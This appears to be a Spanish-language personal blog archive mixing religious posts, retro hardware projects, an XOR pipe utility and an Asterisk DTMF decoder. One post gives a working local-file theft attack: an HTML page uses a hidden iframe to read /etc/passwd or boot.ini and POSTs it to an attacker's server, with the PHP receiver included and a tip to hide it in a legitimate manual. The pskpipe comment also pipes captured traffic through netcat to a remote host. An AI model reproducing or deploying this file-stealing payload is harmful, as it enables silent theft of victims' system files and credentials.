Vision Cristiana sobre la extincion de los dinosaurios

Debes ver esto!
es sorprendentemente cierto y tiene mas fundamentos que las extrañas teorias de que una especie puede convertirse en otra.

http://www.youtube.com/watch?v=uxMJIyWKKDA&mode=related&search=

Tetris Gigante!!!

Esto es el colmo geek. El juego mas grande de tetris jamas jugado: los pixeles son ventanas de un edificio. No se como hicieron esto, no he encontrado detalles, pero se dice por ahi que fue controlado por telefono. Mucho mas geek aun!!!! http://www.youtube.com/v/Zq5vXqrIwjE

Lectura arbitraria de archivo local con iFrames, DOM y JavaScript

Este Post ha sido Actualizado

Descubri que existe una forma muy sencilla de subir archivos locales arbitrarios a un servidor remoto a partir de un rejuego de iframes y javascript.

Hasta ahora, esta prueba funciono con:
- Mozilla Firefox v2.0.0.3
- Safari v2.0.4 (419.3)


Planteamos el siguiente escenario:

• Victima: Custodio del archivo que deseamos, por ejemplo: /etc/shadow
• Victimario: Persona interesada en adquirir el archivo.
• Servidor Web del Victimario: Este recibira el archivo deseado.
• Archivo HTML: Este archivo es portador del script que hace el trabajo. Podrias, por ejemplo, insertar dicho script en un Manual HTML legitimo.

Contenido del Archivo quiero-tu-etc-passwd.html <h1>Hola</h1> <b>Solo soy un simple e inofensivo archivo HTML (si claro!)</b> <iframe onLoad="robatelo()" style="visibility:hidden;position:absolute;" id="ifr"></iframe> <form id="robar" method="POST"> <input type="hidden" name="data"> <input type="hidden" name="sent" value="0"> </form> <script> var file='/etc/passwd', // Test en windows con 'C:/boot.ini'; s=document.getElementById('ifr'), p=document.getElementById('robar'); s.src='file://'+file; function robatelo(){ var c=escape(s.contentDocument.body.firstChild.innerHTML); p.action='http://<tu host>/getit.php?file='+file; if(p.sent.value=='1') return; p.sent.value='1'; p.data.value=s.contentDocument.firstChild.innerHTML; p.submit(); }</script>

Notemos que hay un iframe que carga el archivo deseado (/etc/passwd), sabemos que via XMLHTTPRequest() es muy ruidoso hacer un upload, ya que por default los browsers impiden esto entre dos zonas diferentes (local y remota).
Por tanto, el script lo que hace es cambiar los datos de un form, hacer un post con el contenido del iframe como el parametro data al php, el cual rapidamente devolvera a la pagina anterior.

Veamos getit.php <?php if(!$_GET['file'])exit; $ff=str_replace('/','_',$_GET['file']); $f=fopen($ff,"w"); fwrite($f,$_POST['data']); fclose($f); print "<script>history.back();</script>\n"; ?>

Ventajas:

• Obtencion de archivos de una forma casi imperceptible
• Utiliza canales ya autorizados (el web browser predefinido)
• No genera y no viola las politicas de seguridad del browser ni las del firewall

Desventajas:

• Se debe conocer previamente el nombre del archivo.
• La victima debe recibir previamente el documento.

Planes futuros:

• Investigar la posibilidad de hacer esto de forma remota
• Implementar la misma tecnica en Widgets para Mac OS X

Descendiente de Adam

Descendiente de Adam Este es mi último rap. Es una reflexión y una invitación a dar un paso hacia la Nueva Creatura según la imagen de Cristo Jesús, el Nuevo Hombre, el Postrer Adam. Haste parte de la descendencia de Jesús Rey de Reyes. Ya a Adam no le queda nada por hacer Hit it...

NES-B0X v1.0

Yo soy de la generación del NINTENDO. Mi primer contacto con esta plataforma fue en el 1987 y este evento transformo mi voda. El Nintendo fue quien me inicio en mi busqueda de conocimiento informático. Simplemente emularlo no te da la sensación original de aquellos días y de los controles anti-ergonómicos, así que me decidí a reinventar la rueda... Este es el NES-B0X v1.0, basicamente, convertir una computadora o laptop vieja en un NES. Aquí tengo un breve infomentario: Solo necesitas hacer una inversión inferior a los RD$100.00: Hardware: - 3 diodos 1N914 - 2 Controles NES - 1 DB25 Macho - un poco de alambre de cobre He aquí un Esquemático: Software: - Un emulador de Nintendo (yo uso Loopy.exe para este caso) - SNESKEY (para mapear del Control LPT al Teclado: http://arcadecontrols.com/Mirrors/www.csc.tntech.edu/~jbyork/default.htm) - NES-B0X v1.0 (by XenoMuta :) ) - Los ROMS a jugar... Para mayor detalle sobre el esquemático y el SNESKey por favor, RTFM: http://arcadecontrols.com/Mirrors/www.csc.tntech.edu/~jbyork/manual/manual.html

Mi Atari Punk Console

Wow, me volvi loco con esto que vi.... asi que me arme el mio propio. Bueno, este es el projecto. en fin, este dispositivo sencillo genera ruidos similares al los del ATARI 2600 Este es el circuito, creacion original de Forrest M. Mims, III (Siliconcepts, 1984)... Aclaracion: Si, ya se que no se nada de electronica y que esta medio feas...

pskpipe v1.0

Basicamente, el nombre lo dice todo.
Este programa hace un xor de lo que entra por stdin
contra una llave pre-compartida (PSK).

Esto tiene muchos usos creativos que puedes imaginar...

No siempre confias en ciertos pipes...
asi que...
helo aki...
pskpipe.c
/*
           _          _            
 _ __  ___| | ___ __ (_)_ __   ___ 
| '_ \/ __| |/ / '_ \| | '_ \ / _ \
| |_) \__ \   <| |_) | | |_) |  __/
| .__/|___/_|\_\ .__/|_| .__/ \___|
|_|            |_|     |_|         

-------------------------------------
pskpipe.c

Pre-Shared Key Pipe:
Basicamente, XORea una entrada/salida en consola. (creo que el nombre lo explica todo)
Un conceptu muy sencillo, pero util.

Ejemplos de Uso:
Pasar el trafico de una maquina a otra de una forma mas segura:

HOST A
tcpdump -nAs1024 dst port 80 | pskpipe -k la-clave | nc mi-host.com 1234

HOST B
nc -lnp 1234 | pskpipe -k la-clave


*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>

extern char *optarg;
extern int optind;
extern int optopt;
extern int opterr;
extern int optreset;

FILE *f;

void usage() {
        fprintf(stderr,"\n           _          _\n _ __  ___| | ___ __ (_)_ __   ___\n| '_ \\/ __| |/ / '_ \\| | '_ \\ / _ \\\n| |_) \\__ \\   <| |_) | | |_) |  __/\n| .__/|___/_|\\_\\ .__/|_| .__/ \\___|\n|_|            |_|     |_|\n");
        fprintf(stderr, "\nUSO:\npskpipe <-k llave | -f archivo llave>\n");
        fprintf(stderr, "\t-k\tEspecifica una llave psk de en/decriptacion\n");
        fprintf(stderr, "\t-f\tEspecifica un archivo que contiene la llave psk de en/decriptacion\n");
        _exit(1);
}

void byebye(int sig) {
        if(f)fclose(f);
        fprintf(stderr,"\nb01nk!\n\n");
        _exit(1);
}

int main (int argc, char *argv[]) 
{
        int i,c;
        char *key;

        if (argc<3) usage();

        signal(SIGINT,  byebye);
        signal(SIGQUIT, byebye);
        signal(SIGSTOP, byebye);

        if (!strcmp(argv[1],"-k")) {
                key=(char *)malloc(1024);
                memset(key,0,1024);
                strncpy(key, argv[2],1024);;
                i=0;
                while(1) {
                        if(i>strlen(key))i=0;
                        fprintf(stdout,"%c", key[i++] ^ fgetc(stdin));
                        if(feof(stdin))break;
                }
        } else if (!strcmp(argv[1],"-f")) {
                key=(char *)malloc(1024);
                memset(key,0,1024);
                strncpy(key, argv[2],1024);
                if(!(f=fopen(key,"r"))) {
                        fprintf(stderr, "ERROR: Archivo no encontrado!\n");
                        usage();
                } else {
                        while(1) {
                                fprintf(stdout,"%c", fgetc(f) ^ fgetc(stdin));
                                if(feof(stdin))break;
                        }
                        fclose(f);
                }
        } else {
                usage();
        }
        return 0;
}

Dinero Sangriento, doblemente sucio.

Es una vergüenza que los bancos de este país (Rep. Dominicana) no tengan la delicadeza de elegir billetes, al menos, limpios para equipar los cajeros automáticos. Esta es la presentación de los billetes que me despacho un ATM del popular hace 2 días... Noten la sangre en los billetes. Esto le da un toque tremendo de Cosa Nostra.

BUSTELO!

Mira mira lo que me regalaron, hueje hueje.

Decodificador DTMF para asterisk

Bendiciones!!! aqui les traigo un sencillo, pero util script para un IVR de asterisk (probe con trixbox) capaz de decodificar tonos dtmf. quizas en un meneo a lo 007 no andas con el hardware adecuado en la calle, o se te desafina tu oido, asi que... para casos extremos, no sobreescribas la memoria de ese redial y haz tu movimiento y ya tu sabe.... se bueno :) crea un sonido bien cool (en formato GSM preferiblemente, puedes hacer un: sox sonido-cool.wav -r 8600 -c 1 -t gsm /var/lib/asterisk/sounds/sonido-cool.gsm) y luego date un clasico vi a extensions_additional.conf agrega esta linea en donde tengas tus extensiones:

3137,1,Answer
3137,2,Goto(dtmf-dec,s,1)

(como sabras, no nesesariamente tiene que ser 3137, es preferible usar algo corto como *31) y (preferiblemente) al final del archivo:

[dtmf-dec]
; Dicta tonos DTMF marcados. Presiona # para hablarlos, * para salir
exten => s,1,Background(sonido-cool)
exten => s,2,NoOp()
exten => 0,1,Set(di=${di}${EXTEN})
exten => 1,1,Set(di=${di}${EXTEN})
exten => 2,1,Set(di=${di}${EXTEN})
exten => 3,1,Set(di=${di}${EXTEN})
exten => 4,1,Set(di=${di}${EXTEN})
exten => 5,1,Set(di=${di}${EXTEN})
exten => 6,1,Set(di=${di}${EXTEN})
exten => 7,1,Set(di=${di}${EXTEN})
exten => 8,1,Set(di=${di}${EXTEN})
exten => 9,1,Set(di=${di}${EXTEN})
exten => #,1,SayDigits(${di})
exten => #,2,Set(di="")
exten => *,1,Hangup
exten => s,4,Goto(s,2)